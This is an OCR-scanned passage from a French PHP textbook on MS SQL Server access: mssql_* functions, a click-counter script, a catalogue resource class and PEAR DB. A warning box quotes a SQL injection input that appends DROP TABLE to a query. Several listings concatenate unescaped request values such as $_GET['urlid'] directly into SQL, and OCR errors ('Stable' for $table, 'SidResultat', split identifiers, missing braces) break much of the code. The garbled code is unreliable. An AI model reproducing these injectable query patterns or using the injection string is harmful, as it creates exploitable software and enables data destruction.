SidResultat Identifiant de resultat tel que retourne par mssql_query( ) . 

retour Tableau indexe contenant autant d'elements que de champs retournes par 

la requete, ou FALSE s'il n'y a plus d'enregistrement a lire. 

Listing 10.91 : select_eei_bd_inc.php 

<?php 

/** 

* Fonction Instant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la table 

** / 

function EX_listeContenu($idConnexion, $table) 
{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

SidResultat = mssql_query($requete, $idConnexion) ; 

if (!$idResultat) return FALSE; 

// Boucle de lecture (et d'affichage) des enregistrements 
while ($enreg = mssql_fetch_row($idResul tat)) { 
echo "Filmld=".$enreg[0] ." ". 

"Film =" .$enreg[l] . "<br />"; 

} 

return TRUE; 

} 
?> 

Mais il est egalement possible de retourner un enregistrement sous la forme d'un tableau 
associatif (ou les cles portent les noms des champs), grace a la fonction mssqi_f etch_assoc ( ) 
qui a la meme syntaxe que mssql_f etch_row ( ) . 

II est surtout possible d'avoir les deux fonctions pour le prix d'une avec la fonction 

mssql_f etch_array ( ) . 
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mssql_fetch_array() 

Retourne un enregistrement, retourne par une requete SQL, sous la forme d'un tableau indexe 
et/ou associatif. 

Syntaxe array mssql_fetch_array(resource $idResultat) 

$i dResul tat Identifiant de resultat tel que retourne par mssql_query ( ) . 

retour Tableau indexe et/ou associatif, ou FALSE s'il n'y a plus d'enregistrement. 

C'est ce mode de lecture des donnees que nous privilegierons. II est en effet fort pratique pour 
les champs dont on connait le nom (ce qui est le plus souvent le cas), et permet egalement de 
faire reference a des champs sans nom, comme par exemple un champ SUM(nomchamp) . 
Notez toutefois qu'il est possible d'affecter un nom (ex: somme) a ce genre de champ en 

indiquant SUM ( nomchamp ) AS somme. 

L'exemple precedent gagnera ainsi en lisibilite et deviendra : 
Listing 10.92 : select_eea_bd_inc.php 

<?php 

/** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 
* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Nom de la table 

function EX_listeContenu($idConnexion, Stable) 

{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

SidResultat = mssql_query($requete, $idConnexion) ; 

if (!$i dResul tat) return FALSE; 

// Boucle de lecture (et d'affichage) des enregistrements 
while ($enreg = mssql_fetch_array($idResultat)) { 
echo "Filmld=".$enreg["filmld"]." ". 

"Film =" .$enreg["film"]."<br />"; 

} 

return TRUE; 

} 
?> 

Pour votre culture personnelle, sachez qu'il existe egalement une fonction (d'un interet 
discutable) qui permet de retourner l'enregistrement sous la forme d'un objet possedant des 
variables internes portant les memes noms (en minuscules) que les champs. Cette fonction 
s'appelle mssqi_f etch_obj ect ( ) et possede la meme syntaxe que mssql_f etch_row ( ) , si ce 
n'est qu'elle retourne un objet et non un tableau. 
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La boucle de lecture se transforme alors en : 

<?php 

while ($enreg = mssql_fetch_object($idResultat)) { 

echo "Filmld = ".$enreg->filmid. " Film = ".$enreg->film."<br />"; 

} 
?> 



Requetes multiples 

La fonction mssql_query { ) permet de lancer plusieurs requetes en un unique appel. II est 
ainsi possible de faire mssql_query( "SELECT * FROM tablet; SELECT * FROM table2"). 
L'identifiant de resultat alors retourne est celui de la premiere requete, mais vous pouvez 
passer au resultat de la requete suivante grace a mssql_next_result ( ) . 



mssql_next_result () 



Deplace le pointeur sur le prochain groupe de resultats lorsqu'il y en a plusieurs, par exemple 
lorsque deux requetes sont executees a la fois. 

Syntaxe boolean mssql_next_result (resource $resultat) 

$resul tat Identifiant de resultat tel que retourne parmssql_query ( ) . 

retour TRUE si un autre groupe de resultat est disponible, FALSE sinon. 



A Danger 

Lefait que mssql_query() permette d'executer plusieurs requetes en une seulefois 
ATTENTION constitue un danger potentiel. Si, par exemple, votre serveur est configure defagon a 
ce que magi c_quote soit desactivee et que addSlashes ( ) ne soit pas appele, alors 
une requete du genre : 

SELECT * FROM ma table WHERE champ= ' $param ' ; 
peut se tranformer en : 

SELECT * FROM matable WHERE champ= 'blabla' ; DROP TABLE matable; 

si I'utilisateur a qui il a ete demande de saisir la valeur de $param dans un champ 
d'un formulaire a saisi "blabla'; drop table matable; '". 



Liberation des ressources occupees par une reponse SQL 

II est possible, voire conseille, de liberer la memoire occupee par le resultat d'une requete 
(notamment lorsqu'il est volumineux et que les requetes sont nombreuses) a l'aide de 

mssql_f ree_result ( ) . 
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mssql_free_result () 



Cette fonction permet de liberer la memoire avant la fin du script (elle est automatiquement 
liberee a la fin d'un script). 

Syntaxe boolean mssql_free_result (resource $resultat) 

SidResultat Identifiant de resultat telqueretourneparmssql_query ( ) . 

retour TRUE en cas de succes, FALSE sinon. 

Nombre d'enregistrements 
Nombre d'enregistrements retournes 

II existe trois facons de determiner le nombre d'enregistrements retournes par une requete. 

Si vous souhaitez uniquement connaitre le nombre d'enregistrements, mais ne souhaitez pas 
immediatement lire ces enregistrements, alors il vous suffit de faire une requete count ( ) 
comme suit : 

Listing 10.93 : countbdincphp 



<?php 



* Fonction affi chant le nombre d'enregistrements 

* dans une table 
* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la tabme 

function EX_compte($idConnexion, Stable) 

{ 

// Requete 

Srequete = "SELECT C0UNT(*) FROM Stable"; 

SidResultat = mssql_query($requete, SidConnexion) ; 

// Lecture du resultat 

if (Senreg = mssql_fetch_row($idResultat)) { 

echo "II y a ".$enreg[0] ." enregistrements dans la table. <br />"; 

return TRUE; 
} else { 

echo "Etes vous sur que la table Stable existe ?<br />"; 

return FALSE; 
} 



?> 
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Si vous souhaitez connaitre le nombre d'enregistrements, mais que vous souhaitez lire les 
enregistrements sans pour autant avoir besoin au prealable d'en connaitre le nombre, il suffit 
de les compter au fur et a mesure de leur lecture. 

Listing 10.94 : countselectbdjnc.php 

<?php 

/** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la table 

** / 

function EX_listeContenu($idConnexion, Stable) 
{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

SidResultat = mssql_query($requete, $idConnexion) ; 

if (!$idResultat) return FALSE; 

// Boucle de lecture (et de comptage) des enregistrements 

$nb = 0; 

while ($row = mssql_fetch_row($idResultat)) { 

// Vous pouvez manipuler $enreg a votre guise 

//echo "Filmld=".$enreg[0] ." ". 

// "Film =" .$enreg[l]."<br />"; 

$nb++; 

} 

echo "II y a $nb enregistrements dans la table. <br />"; 

return TRUE; 



Enfin, ce que vous attendez tous : si vous souhaitez connaitre le nombre d'enregistrements 
avant de les lire, vous pouvez faire appel a la fonction mssql_num_rows ( ) . 



mssql_num_rows () 

Retourne le nombre d'enregistrements retournes par la requete SQL. 

Syntaxe int mssql_num_rows (resource $idResultat) 

$idResultat Identifiant de resultat tel que retourne par mssql_query( ) . 

retour Nombre d'enregistrements. 
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Chapitre 10 L'utilisation des bases de donnees 

Listing 10.95 : count_num_rows_bd_inc.php 

<?php 

/** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Nom de la table 

** / 

function EX_listeContenu($idConnexion, Stable) 

{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

$idResultat = mssql_query($requete, $idConnexion) ; 

if (!$idResultat) return FALSE; 

echo "II y a M .mssql_num_rows($idResultat) ." enregistrements ". 
"dans la table<br />"; 



return TRUE; 



?> 



Sachant qu'une requete select * est plus longue qu'une requete select count ( *) , 
privilegiez la premiere methode si vous n'avez que faire du contenu des enregistrements. 

Nombre d' enregistrements modifies 

Pour determiner le nombre d'enregistrements modifies, vous pouvez appeler la fonction 
mssql_rows_af f ected ( ) . Elle prend en argument l'identifiant de connexion, et retourne le 
nombre d'elements affectes par la derniere requete. 

Gestion des erreurs 

Jusque-la, en cas d'erreur, nous nous sommes contentes d'afficher un message generique. II est 
cependant possible de determiner plus precisement l'origine de l'erreur. 

Cela est notamment possible en recuperant le dernier message via la fonction 

mssql_get_last_message ( ) . 



mssql_get_last_message () 

Retourne le code d'erreur du dernier appel. 

Syntaxe string mssql_get_last_message(void) 

retour Le dernier message obtenu. 
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Modifier l'apparition des messages d'erreur 

Chaque erreur et message possede un degre d'importance. II est possible de preciser le degre 
d'importance minimal des erreurs et messages a afficher a 1'aide de deux fonctions : 



mssql_min_error_severity() 

Modifie le degre d'importance minimal des erreurs a afficher. 

Syntaxe void mssql_min_error_severity(int $degre) 

$degre Degre d'importance minimal. 

mssql_min_message_severity() 

Modifie le degre d'importance minimal des messages a afficher. 

Syntaxe void mssql_min_message_severity(int $degre) 

$degre Degre d'importance minimal. 

Exemples ^applications 
Compteur de dies 

Une application courante d'utilisation des bases de donnees, et simple a mettre en ceuvre, 
consiste a creer un compteur de clics. 

En effet, peut-etre souhaitez-vous proposer, sur votre site, un certain nombre de liens vers des 
sites Internet (annuaire web) ou vers des fichiers (bibliotheques de scripts). Peut-etre que 
certains (ou la totalite) de ces liens sont proposes par un partenaire. Bref, tout cela vous incite 
a savoir quelles sont les pages les plus frequemment consultees (a connaitre les centres d'interet 
des visiteurs) et combien de visiteurs vous avez rediriges vers votre sponsor. 

La methode la plus classique consiste a stocker, en base de donnees, l'ensemble des liens ainsi 
proposes, et a remplacer les traditionnels liens de la forme http://www.domaine.com par un lien vers 
un script charge d'incrementer le compteur correspondant au site indique, et de rediriger le 
client vers le site grace a la fonction header ( ) . 

Pour notre exemple, nous utiliserons une table appelee url contenant trois champs : 

■ urlid, identifiant de l'URL (champ auto-incremente) ; 
url, l'URL proprement dite ; 
nbclic, le nombre de clics. 
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Chapitre 10 L'utilisation des bases de donnees 



Le script de redirection (appele ici compteurclic_redirection.php) devra alors accepter un 
parametre (urlid) et devra, a partir de ce parametre, determiner quelle est la valeur du champ 
url, incrementer nbclic pour cette URL, et rediriger vers url. 

Les appels a ce script auront alors la forme http://localhost/compteurclic_redirection.php?urlid=3 (pour 
acceder a l'URL ayant l'identifiant 3). A supposer que 1'URL 3 corresponde au site http://www 
.sqlfacile.com, cela signifie que le lien <a href="http: / /www. sql facile. com ">devra etre 

remplace par <a href ="compteurclic_redirection.php?urlid=3> si Ton SOuhaite en 

compter le nombre de clics. 

Concretement, cette table pourra etre creee et alimentee avec la fonction cc_initialiseBD ( ) 
du script suivant : 

Listing 10.96 : compteurclic_bd_inc.php (debut) 

<?php 

//— 

// Charge les parametres de connexion 

// a la base de donnees. 

// 

requi re_once ( "parametres_bd_i nc . php" ) ; 

/** 

* Fonction de connexion a une base de donnees 

* s'appuie sur les parametres fournis 

* dans parametres_bd_inc.php. 
* 

* @return resource Identifiant de connexion 

V 

function CC_connexion() 

{ 

global $serveur, $base, $utilisateur, $motDePasse; 

$idConnexion = mssql_pconnect($serveur, $utilisateur, $motDePasse) ; 
if (!$idConnexion) return FALSE; 
mssql_select_db($base) ; 

return $idConnexion; 
} 

I** 

* Fonction de deconnexion. 

* (Ne fait rien sachant que la fonction 

* de connexion etablit une connexion persistante) 

V 

function CC_deconnexion($idConnexion) 

{ 

return TRUE; 

} 

* Fonction charge de creer et d'alimenter 
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* la table "compteur de clics" 

** / 

function CC_initial iseBD($idConnexion, Stable) 
{ 

// Creation de la table 

$requete = "DROP TABLE Stable"; 

@mssql_query($requete, $idConnexion) ; 

$requete = "CREATE TABLE Stable (". 

"urlld INTEGER ". 

"IDENTITY PRIMARY KEY,". 

"url VARCHAR(128) NOT NULL,". 

"nbclic INTEGER DEFAULT 0,". 

"UNIQUE(url))"; 
if (!mssql_query($requete, $idConnexion)) return FALSE; 

// Alimentation de la table 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.php.net 1 )"; 
if (!mssql_query($requete, $idConnexion)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www. phpfacile.com')"; 
if (!mssql_query($requete, $idConnexion)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.sqlfacile.com')"; 
if (!mssql_query($requete, $idConnexion)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.xmlfacile.com')"; 
if (!mssql_query($requete, $idConnexion)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.ootoogo.com')"; 
if (!mssql_query($requete, $idConnexion)) return FALSE; 

return TRUE; 
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La lecture de la liste des liens disponibles en base de donnees pourra se faire via la fonction 
cc_recupereLiens ( ) du script suivant : 

Listing 10.97 : compteurclicbdincphp (milieu) 

<?php 

* Fonction retournant les informations de liens 

* sous forme d'un tableau associatif possedants 

* les cles 

* - "lien" associe au tableau des liens hypertextes 
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* - "nbclic" associe au tableau des nombres de clics 
** / 

function CC_recupereLiens($idConnexion, Stable) 

{ 

// Norn du script charge du comptage et de la redirection 
$script = "compteurclic_redi recti on. php"; 

// Requete SELECT 

$requete = "SELECT * FROM Stable"; 

$idResultat = mssql_query($requete, $idConnexion) ; 

// Recuperation des enregistrements les uns apres les autres 
while ($enreg = mssql_fetch_array($idResultat)) { 
$liens["lien"] [] = "<a href=\"$script?urlid=". 
$enreg["url Id"] ."\">". 
$enreg["url "] . "</a>"; 
$liens["nbclic"] [] = $enreg["nbcl ic"] ; 
} 

return $liens; 



L'affichage des liens consiste uniquement a mettre en page le contenu du tableau ainsi 
recupere (voir la fonction du script compteurclicjitmljnc.php). 

Comme cela a ete precise, le lien <a href ="http: //www. sqifacile.com">http: //www 

. sqlfacile . com</a> a ete remplace par <a href="compteurclic_redirection 

.php?uriid=3">http: //www. sqifaciie.com </a>. La redirection vers le site www.sqlfacile 
.com est done a la charge du script compteurclic _redirection.php . 

Listing 10.98 : compteurclicredirection.php 

<?php 

// Parametres du script 

requi re_once ( "compteurcl i c_bd_i nc . php" ) ; 

Stable = "compteurclic"; 

// Connexion a la base de donnees 
$idConnexion = @CC_connexion() ; 
if (!$idConnexion) { 

die("<b>Impossible de se connecter a la base de donnees</b>") ; 
} 

// Recuperation de 1'url et incrementation du compteur 

// pour l'url d'indentifiant passe en parametre de ce script 

// par la methode GET 

$url = @CC_recupereUrl ($idConnexion, $_GET["url id"]) ; 

// Deconnexion 
@CC deconnexion() ; 
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// C'est l'heure de la redirection 
if ($url) { 

header("Location: $url"); 
} else { 

echo "Desole, nous ne pouvons vous proposer ce lien"; 



!> 



Ce script appelle principalement la fonction cc_recuperetrrl ( ) suivante : 

Listing 10.99 : compteurclic_bd.Jnc.php (fin) 

<?php 

/** 

* Fonction recuperant une url a partir de son identifiant 

* et incrementant le compteur de clics 
** / 

function CC_recupereUrl ($idConnexion, $urlid) 

{ 

global Stable; 

// Recupere 1 'url 

$requete = "SELECT * FROM Stable WHERE url id=$url id" ; 

$idResultat = mssql_query($requete, $idConnexion) ; 

if ($enreg = mssql_fetch_array($idResultat)) { 
$url = $enreg["url "] ; 

// Incremente le compteur 

$requete = "UPDATE Stable SET nbcl ic=nbcl ic+1 WHERE url id=$url id" 

mssql_query($requete, $idConnexion) ; 
} else { 

$url = FALSE; 
} 
return $url ; 
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REMARQUE 



Utilisation du bouton retour 

Si, apres avoir suivi un lien, vous revenez sur la page compteurclic.php en utilisant le 
bouton retour (back), le contenu de la page ne sera pas reactualise. Par consequent, 
le nombre de visites affiche ne sera pas correct. N'oubliez done pas, dans ce cas, de 
rafraichir (bouton actualiser) la page. 
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Chapitre 10 L'utilisation des bases de donnees 



SuperTheque 

L'essentiel du code de l'application a ere presente en introduction de ce chapitre. II ne restait 
plus qu'a connaitre les fonctions MS SQLServer pour implementer 1'interface 
Ressourceinterface c'est desormais chose faite: 

Listing 10.100 : RessourceMSSQLServerclass.php 

<?php 
include_once("RessourceInterface_class.php") ; 

include_once(dirname( FILE ) ."/■ - /conf i g/mssq1_cf g . php" ) ; 

/** 

* RessourceMSSQLServer_class.php 

* Classe d'acces a une base de donnees MS SQL Server 

* Cette classe doit implementer toutes les methodes de 1'interface 

* Ressourceinterface. 

* Compatibilite: PHP 5 

V 

class Ressource implements Ressourceinterface 
{ 

var $idConnexion; 

public function connexion() 

{ 

global $mssql_serveur, $mssql_util isateur, $mssql_motDePasse; 
global $mssql_base; 

if (!isset($this->idConnexion)) { 

$idConnexion = mssql_pconnect($mssql_serveur, 

$mssql_util isateur, 

$mssql_motDePasse) ; 
if (!$idConnexion) return FALSE; 
mssql_select_db($mssql_base) ; 
$this->idConnexion = $idConnexion; 

} 

return TRUE; 



public function deconnexion() 

{ 

// Rien a faire, il s'agit d'une connexion persistante 

} 

public function reset() 

{ 

$requete = "DROP TABLE types"; 

$idResultat = @mssql_query($requete, $this->idConnexion) ; 

//if (!$idResultat) return FALSE; 

$requete = "CREATE TABLE types (". 

"id INTEGER IDENTITY PRIMARY KEY,", 
"type VARCHAR(255))"; 
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$idResultat = mssql_query($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

$types = array ("Album", "Film", "Livre", "Musique"); 
foreach ($types as $type) { 

$requete = "INSERT INTO types (type) VALUES ('$type')"; 

$idResultat = mssql_query($requete, $this->idConnexion) ; 

if (!$idResultat) return FALSE; 



$requete = "DROP TABLE articles"; 

$idResultat = @mssql_query($requete, $this->idConnexion) 

$requete = "CREATE TABLE articles (". 

"id INTEGER IDENTITY PRIMARY KEY,". 

"albumld INTEGER,". 

"titre VARCHAR(255),". 

"typeld INTEGER,". 

"commentaire VARCHAR(255) NULL)"; 
$idResultat = mssql_query($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 



public function addArticle($albumId, 

$titre, 
$typeld, 
$commentaire) 
{ 

$requeteDebut = "INSERT INTO articles (albumld, titre, typeld" 
$requeteFin = ") VALUES ($albumld, " . 

.addSlashes($titre)."',". 

"$typeld"; 
if ($commentaire != "") { 

$requeteDebut .= ".commentaire"; 

$requeteFin .= ",'" .addSl ashes ($commentai re) ; 

} 

$requete = $requeteDebut . $requeteFin . ")"; 
$idResultat = mssql_query($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 
} 

public function getArticle($articleId) 

{ 

$requete = "SELECT * FROM articles WHERE id=$articleld"; 
$idResultat = mssql_query($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

$article = NULL; 

if ($enreg = mssql_fetch_array($idResultat)) { 

$article = $this->enreg2Article($enreg) ; 
} 
return $article; 
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public function getArticles(Filtre $filtre, Plage $plage, Tri $tri) 

{ 

SnbTotalArticles = $this->getNbTotalArticles($filtre) ; 

if ($filtre->getAlbumId() != -1) { 

$conditionSQL = "al bumld=" .$fil tre->getAlbumId() ; 

} 

if ($filtre->getTitre() != "") { 
$conditionSQL = $conditionSQL. 

" AND titre LIKE "'. 

addSl ashes ($filtre->getTitre()) ; 

} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 

" AND typeId=".$filtre->getTypeId(); 
} 

if ($tri->getSens() == -1) { 

$triSQL = "ORDER BY " .$tri->getChamp() . " DESC"; 

$tn'InverseSQL = "ORDER BY " .$tri->getChamp() . " ASC"; 
} else if ($tri->getSens() == 1) { 

$triSQL = "ORDER BY " .$tri->getChamp() . " ASC"; 

$tn'InverseSOL = "ORDER BY " .$tri->getChamp() . " DESC"; 
} 

if ($pl age->getPremi erArti cl e()+$pl age->getNbArti cl eMax() 
< $nbTotalArticles) { 

$requete = "SELECT * FROM (SELECT TOP ". 
$plage->getNbArticleMax() . 
" * FROM (SELECT TOP ". 
($pl age->getPremi erArti cl e () + 
$plage->getNbArticleMax()) . 
" * FROM articles"; 

$requete = $requete." WHERE ".$conditionSQL. " ". 

$triSQL.")". 
" AS filtrel ".$tri InverseSQL. ") ". 
" AS filtre2 ".$triSQL; 
} else { 

$requete = "SELECT * FROM (SELECT TOP ". 

($nbTotalArticles - $plage->getPremierArticle()) , 
" * FROM articles"; 

$requete = $requete." WHERE ".$conditionSQL. " ". 

$tri InverseSQL.")". 
" AS filtrel ".$triSQL; 

} 

$idResultat = mssql_query($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 
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$articles = NULL; 

while ($enreg = mssql_fetch_array($idResultat)) { 

$articles[] = $this->enreg2Article($enreg) ; 
} 

return $articles; 
} 

public function getNbTotalArticles(Fil tre $filtre) 

{ 

$requete = "SELECT C0UNT(*) FROM articles"; 
if ($filtre->getAlbumId() != -1) { 

$conditionSQL = "albumId=".$filtre->getAlbumId() ; 
} 

if ($filtre->getTitre() != "") { 
$conditionSQL = $conditionSQL. 

" AND titre LIKE '". 

addSl ashes ($f i 1 tre->getTi tre () ) ; 

} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 

" AND typeId=".$filtre->getTypeId(); 
} 

$requete = $requete." WHERE ".$conditionSQL; 
$idResultat = mssql_query($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

if ($enreg = mssql_fetch_array($idResultat)) { 

return $enreg[0] ; 
} else return FALSE; 



public function getTypesQ 

{ 

$requete = "SELECT * FROM types"; 

$idResultat = mssql_query($requete, $this->idConnexion) 

if (!$idResultat) return FALSE; 

$types = NULL; 

while ($enreg = mssql_fetch_array($idResultat)) { 

$types[$enreg["id"]] = $enreg["type"] ; 
} 
return $types; 



public function getAlbumTypeId() 
{ 

return 1; 
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private function enreg2Article($enreg) 

{ 

$article = new Article(); 

$article->setld($enreg["id"]); 

$article->setAlbumId($enreg["albumId"]) ; 

$arti cl e->setTi tre ($enreg [" t i tre"] ) ; 

$article->setTypeId($enreg["typeId"] ) ; 

$arti cl e->setCommentai re ($enreg ["commentai re"] ) ; 

return $article; 



} 
?> 



Comme vous le constatez, la principale difficulte n'est pas tant aii niveau des fonctions 
disponibles qu'au niveau de la construction des requetes SQL. La requete sera simple lorsqu'il 
ne s'agit que de recuperer un enregistrement identifie par la cle id (comme c'est le cas avec 
getArticle ( )) elle sera bien plus complexe s'il s'agit des recuperer un ensemble 
d'enregistrements repondant a des criteres precis et tries (comme c'est le cas avec 
getArticles ( ) ). 

Requetes avec des apostrophes 

Lors de la construction de la requete, il faut bien garder a 1'esprit que 1'un des elements de la 
requete (typiquement un champ de type texte saisi par l'utilisateur, comme ici le titre ou le 
commentaire) peut contenir une apostrophe qui pourrait etre confondu avec le delimiteur de 
chaine. Pensez done bien a faire un appel a addsiashes ( ) lorsque cela peut s'averer 
necessaire. 

Affichage par page 

Contrairement a d'autres bases de donnees, Microsoft SQL Server ne dispose pas d'instruction 
permettant de recuperer n enregistrements a partir de l'enregistrement d'index i. II est par 
contre possible de ne recuperer que les n premiers enregistrements grace a l'instruction top. 

II est done possible de recuperer les i + n premiers articles puis d'aller directement a l'article 
i grace a la fonction PHP mssql_data_seek ( ) , qui permet de modifier le pointeur de sorte 
que le premier appel a une fonction telle que mssql_f etch_row ( ) ne renvoie pas la premiere 
ligne, mais la i-ieme. 



mssql_data_seek() 



Permet de deplacer le pointeur pour un appel a mssql_f etch_row ( ) , mssqi_f etch_array ( ) 

OU encore mssql_fetch_ob;ject ( ) . 

Syntaxe boolean mssql_data_seek(resource $idResultat, int 

$numeroLigne) 
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SidResultat Identifiant de resultat tel que retourne par mssql_query( ) . 

$numeroLigne Numero de la ligne sur laquelle il f aut deplacer le pointeur. 

retour TRUE en cas de succes, FALSE sinon. 

Si le nombre d'enregistrements dans la base est vraiment important (et que Ton recherche les 
donnees correspondant a un numero de page eleve), alors l'utilisation de TOP n'apportera 
finalement que peu de choses (puisque, de toute facon, il y aura bien plus de n enregistrements 
retournes). II peut alors etre interessant de demander a la base de donnees de ne retourner que 
les N enregistrements a partir de celui d'index i, quitte a lui donner plus de travail avec selon 
les cas, une requete: 

SELECT * FROM (SELECT TOP <N> * FROM (SELECT TOP <I+N> * FROM table ORDER BY 
champ) AS filtrel ORDER BY champ DESC) AS filtre2 ORDER BY champ. 

si I+N est inferieur au nombre total d'enregistrements repondant aux criteres de selection ou 
a la requete: 

SELECT * FROM (SELECT TOP <nbTotalArticles - I> * FROM table ORDER BY champ 
DESC) AS filtrel ORDER BY champ. 

dans le cas contraire. 

Tri 

Modifier l'ordre d'affichage des annonces n'est pas non plus bien sorcier. Le tri peut s'effectuer 
directement au niveau de la requete SQL grace a l'instruction order by. 

Moteur de recherche (filtre) 

Pour filtrer, il suffit d'utiliser l'instruction where. Dans notre cas, nous souhaitons autoriser 
l'utilisation de jokers (comme %) afin, par exemple, de rechercher les titres commengant par 
une chaine donnee. C'est pourquoi, nous ne ferons pas un test de type titre= 'motcle ' mais 
titre like 'motcle' (ou motcle pourrait avoir la valeur "La 7eme compagnie%"). 

En savoir plus... 

... sur le resultat d'une requete 

II vous est possible de connaitre le nombre de champs retournes par une requete (et par 
consequent le nombre de champs d'une table dans le cas d'une requete select * from 
<nom_tabie> sur une table non vide). 



mssql_num_fields () 

Retourne le nombre de champs du resultat. 

Syntaxe int mssql_num_fields(resource $resultat) 
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Chapitre 10 L'utilisation des bases de donnees 

$resul tat Identifiant de resultat tel que retourne parmssql_query ( ) . 

retour Nombre de champs disponibles dans le resultat. 

mssql_fetch_field () 

Retourne un objet contenant des informations sur un champ. 

Syntaxe object mssql_fetch_field(resource $resul tat [, int 

$numeroColonne] ) 

$resul tat Identifiant de resultat tel que retourne parmssql_query ( ) . 

$numeroCol onne Numero de la colonne dont on veut des informations. Si ce parametre n'est 
pas passe, les informations obtenues sont celles qui n'ont pas ete 

recupereesparmssql_f etch_f ield ( ) . 

retour Un objet possedant les attributs : 

name : nom de la colonne ; si cette colonne est le fruit d'une fonction, 

alors le nom retourne sera computed suivi d'un nombre. 

column_source : table d'ou provient la colonne. 

max_length : taille maximale de la colonne. 

numeric : 1 si la colonne est une colonne contenant des valeurs 

numeriques. 



mssql_field_length () 

Retourne la taille d'un champ. 

Syntaxe int mssql_field_length(resource $resultat [, int 

$numeroChamp]) 

$resul tat Identifiant de resultat tel que retourne parmssql_query ( ) . 

$numeroChamp Numero du champ sur lequel vous souhaitez des informations. Si ce 

parametre n'est pas passe, les informations obtenues sont celles qui n'ont 
paseterecupereesparmssql_f etch_f ield( ) . 

retour La taille du champ. 



mssql_field_name () 

Retourne le nom d'un champ. 

Syntaxe string mssql_fi el d_name(resource $resul tat [, int 

$numeroChamp]) 
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$resul tat Identifiant de resultat tel que retourne parmssql_query ( ) . 

$numeroChamp Numero du champ dont on veut des informations. Si ce parametre n'est 

pas passe, les informations obtenues sont celles qui n'ont pas ete 

recupereesparmssql_f etch_f ield ( ) . 

retour Le nom du champ. 



mssql_field_type() 

Retourne le type d'un champ 
Syntaxe 



string mssql_fi el d_name(resource $resul tat [, int 
$numeroChamp]) 

$resul tat Identifiant de resultat tel que retourne parmssql_query ( ) . 

$numeroChamp Numero du champ dont on veut des informations. Si ce parametre n'est 

pas passe, les informations obtenues sont celles qui n'ont pas ete 

recuperees par mssql_fetch_f ield ( ) . 

retour Le type du champ. 
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mssql_field_seek() 



Deplace le pointeur de champ vers un autre. 

Syntaxe boolean mssql_field_seek(resource $resultat, int 

$numeroColonne) 

$resul tat Identifiant de resultat tel que retourne par mssql_query ( ] 

$numeroCol onne Numero de la colonne ou deplacer le pointeur. 

retour TRUE en cas de succes, FALSE sinon. 



10.14. Les couches d'abstraction 

Comme le demontre le sous-chapitre precedent et la liste de bases de donnees associee, il 
existe, quasiment, une bibliotheque specifique pour chaque serveur, alors que, quelle que soit 
la base, la nature des operations a realiser est toujours du meme type (connexion, soumission 
d'une requete, lecture des resultats, etc.). 

Tenant compte de cette observation, d'aucuns proposent des bibliotheques fournissant des 
fonctions identiques quelle que soit la base de donnees interrogee (on parle alors de couche 
d'abstraction). C'est du moins l'objectif, car, generalement, dans les faits, seul un petit nombre 
de bases de donnees est supporte. 
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Chapitre 10 L'utilisation des bases de donnees 



L'interet des couches d'abstraction est bien evidemment de permettre de realiser facilement un 
script pouvant s'adapter a n'importe quelle base de donnees. Mais, la encore, il s'agit bien 
souvent d'un voeu pieu. En effet, comme vous avez pu le constater si vous avez lu le chapitre 
ODBC, toutes les bases de donnees n'implementent pas les memes instructions SQL, et 
chacune propose sa propre version. Ainsi, meme avec une couche d'abstraction, le code doit 
etre adapte et teste pour chaque type de base de donnees. Cela ne rend toutefois pas 
totalement inutiles les couches d'abstraction. 

Parmi les couches d'abstraction existantes nous avons : 

■ La bibliotheque Dbx ; 

■ La bibliotheque pear. 

Nous ne traiterons ici que la couche d'abstraction PEAR qui est la plus complete et nous 
semble par consequent la plus interessante. 



Pear DB 



La desormais celebre bibliotheque pear propose egalement une couche d'abstraction pour les 
bases de donnees. Celle-ci supporte a l'heure actuelle (avec plus ou moins de bonheur) les bases 
de donnees MySQL, PostgresSQL, Interbase, MiniSQL, MS SQL Server, Oracle 8i, Sybase, 
Informix, Frontbase, ainsi que les liaisons ODBC. 

Installation 

L'utilisation de pear db ne necessite aucune installation specifique (hormis l'installation des 
bases de donnees que vous souhaitez utiliser et leur "integration" a PHP). II suffit d'activer le 
support pear au niveau de PHP. 



RENVOI 



, Vous pouvez vous reporter aux sections propres aux bases de donnees pour plus de 
details sur la fagon de faire pour les "integrer" a PHP. 



Configuration de PHP avec le support PEAR 

Si vous ne disposez pas du paquetage DB ou si vous souhaitez obtenir la derniere version 
disponible tapez simplement (dans une console) la commande suivante 

pear upgrade DB 

Chaque script necessitant l'utilisation de pear db devra inclure la ligne : 

require_once("DB.php") ; 

Utilisation 

L'utilisation basique de la base de donnees s'opere selon le schema suivant : 
■ Connexion grace a la methode statique de db : : connect ( ) . 
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Soumission de la requete via la methode DB->query ( ) . 

Deconnexion grace a la methode DB->disconnect ( ) (dans le cas d'une connexion non 
persistante). 

Connexion 

La connexion a la base de donnees s'opere grace a la methode statique db : : connect ( ) . 



DB:: connect () 



Etablit une connexion (persistante ou non) avec le serveur de bases de donnees. 

